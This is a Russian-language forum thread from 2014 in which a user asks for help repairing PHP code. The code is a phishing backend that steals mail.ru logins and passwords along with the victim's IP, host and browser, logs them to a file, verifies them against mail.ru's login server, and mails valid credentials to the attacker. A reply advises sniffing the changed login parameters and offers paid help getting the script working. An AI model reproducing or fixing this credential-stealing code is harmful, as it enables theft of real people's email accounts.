Проверка валидация..

Тема в разделе "PHP, Perl и др.", создана пользователем CaroleNetwork, 19 апр 2014.

  1. CaroleNetwork
    CaroleNetwork Новичок
    Симпатии:
    0
    Здравствуйте. Вкладываю код для проверка лог и пароль на сайт маил.ру. Раньше этот код работал а сейчас не работает. Нужно помошь по правке Пхп кода

    PHP:
    <?PHP  
    $Login 
    = $_POST['Login'];   
    $Domain = $_POST['Domain'];    
    $Pass = $_POST['Password'];   
    $Browser = getenv("HTTP_USER_AGENT");  
    $Port = getenv("REMOTE_PORT");  
    $Connect = $_SERVER['HTTP_CONNECTION'];  
    $Host = gethostbyaddr(getenv("REMOTE_ADDR"));   
    $ip = $_SERVER["REMOTE_ADDR"];   
    $Data = date("d-m-y H:i:s", time());   
    if ((empty(
    $Login))or (empty($Pass)))   
     {echo 
    "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=index.php?account=".$Login."@".$Domain."&fail=1'></head></html>";  
      exit;  
     };   
        
    $text = "[$Data]   
    Browser:[
    $Browser]   
    Port:[
    $Port]   
    Connect:[
    $Connect]   
    Host:[
    $Host]   
    IP:
    $ip  
    ADRESS:
    $Login@$Domain   
    PASSWORD:
    $Pass";  
        
    $to = "почта@mail.ru"; //тут прописываем нашу почту,   
        
    $sub = "ready $Login@$Domain"; //тут прописываем тему письма  

    $filelog = fopen("base.php","a+"); //тут прописываем названием базы, в которую будут сохраняться пароли  
    fwrite($filelog,"\n $text \n\n");   
    fclose($filelog); //  

         
    $url = 'https://auth.mail.ru/cgi-bin/auth';  
         
    $params = "page=&post=&login_from=&Login=".$Login."&Domain=".$Domain."&Password=".$Pass."&level=1";  
         
    $user_agent = "Opera 10.0 (compatible; MSIE 5.01; Windows NT 5.0)";  
         
    $ch = curl_init("http://win.mail.ru/cgi-bin/login");  
         
    curl_setopt($ch, CURLOPT_POST,1);  
         
    curl_setopt($ch, CURLOPT_POSTFIELDS,$params);  
         
    curl_setopt($ch, CURLOPT_URL,$url);  
         
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);  
         
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);  
         
    curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);  
         
    curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);  
         
    $result=curl_exec($ch);  
         
    curl_close ($ch);  
         
    $pattern='/http:\/\/win.mail.ru\/cgi-bin\/checkcookie/';    
         if (
    preg_match($pattern, $result) == 0)   
             {   
            echo 
    "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=index.php?account=".$Login."@".$Domain."&fail=1'></head></html>";  
            }   
         else   
             {  
             @
    mail($to,$sub,$text);  
             echo 
    "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=server_error.php'></head></html>";  
             };  
    ?>
    Добавлено через 17 минут
    код сейчас не работает. Чего нужно правит что бы код сработал?
     
    Последнее редактирование: 19 апр 2014
    19 апр 2014
  2. XaSa
    XaSa Новичок
    Симпатии:
    5
    Адрес страницы авторизации изменился уже давно, смотри исходный код страницы авторизации и смотри в него + возьми снифер посмотри переменные посылаемые с данными.
    Если хотишь могу помочь за небольшое вознаграждение, подробно объяснить и расписать во всех подробностях что бы ты сам мог понимать что делаешь за большую сумму.
     
    19 июн 2014
    1 человеку нравится это.
Загрузка...